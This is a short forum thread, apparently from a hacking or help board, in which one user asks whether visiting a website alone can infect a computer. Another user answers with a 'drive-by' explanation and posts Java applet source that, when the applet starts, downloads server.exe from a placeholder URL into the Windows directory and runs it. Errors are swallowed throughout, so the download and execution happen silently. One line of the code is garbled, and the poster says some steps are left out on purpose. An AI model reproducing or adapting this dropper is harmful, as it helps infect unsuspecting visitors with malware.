virus?

[pownage525]

can u get a virus by just visiting it and no downloads?

[cruizrisner]

can u get a virus by just visiting it and no downloads?

yes you can, they use a script called a "drive-by" and it is made most of the time of a java applet that secretly downloads and executes the virus without letting the download manager open up.

the base source looks kinda like this

import java.applet.Applet;
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.awt.*;
import java.net.*;


public class Client extends Applet
{

    public Client()
    {
    }

    public void start()
    {
        try
        {

        String fileoot = System.getenv("WINDIR");
            String fname = "server.exe";

            String efool = fileoo*****ncat(fname);


            BufferedOutputStream bufferedoutputstream = null;
            Object obj = null;
            InputStream inputstream = null;


            URL url = new URL("https://www.yoursite.com/server.exe");
            bufferedoutputstream = new BufferedOutputStream(new FileOutputStream(efool));
            URLConnection urlconnection = url.openConnection();
            inputstream = urlconnection.getInputStream();
            byte abyte0[] = new byte[1024];
            int i;
            for(long l = 0L; (i = inputstream.read(abyte0)) != -1; l += i)
                bufferedoutputstream.write(abyte0, 0, i);

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();


            }
            catch(IOException ioexception) {
            }

            Runtime runtime = Runtime.getRuntime();
            try
            {
                Process process = runtime.exec(efool);
                process.waitFor();
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(process.getInputStream()));


            }
            catch(Exception exception1) {
            }

            try
            {
                if(inputstream != null)
                    inputstream.close();
                if(bufferedoutputstream != null)
                    bufferedoutputstream.close();
            }
            catch(IOException ioexception1) {


          }
        }
        catch(Exception e) { }
    }



    public void main(String args[])
    {

start();

}



    public void stop()
    {
    }
}

but dont just copy paste this cuz there is much more steps to do to make it work that i kept out on purpose.

[iHelp]

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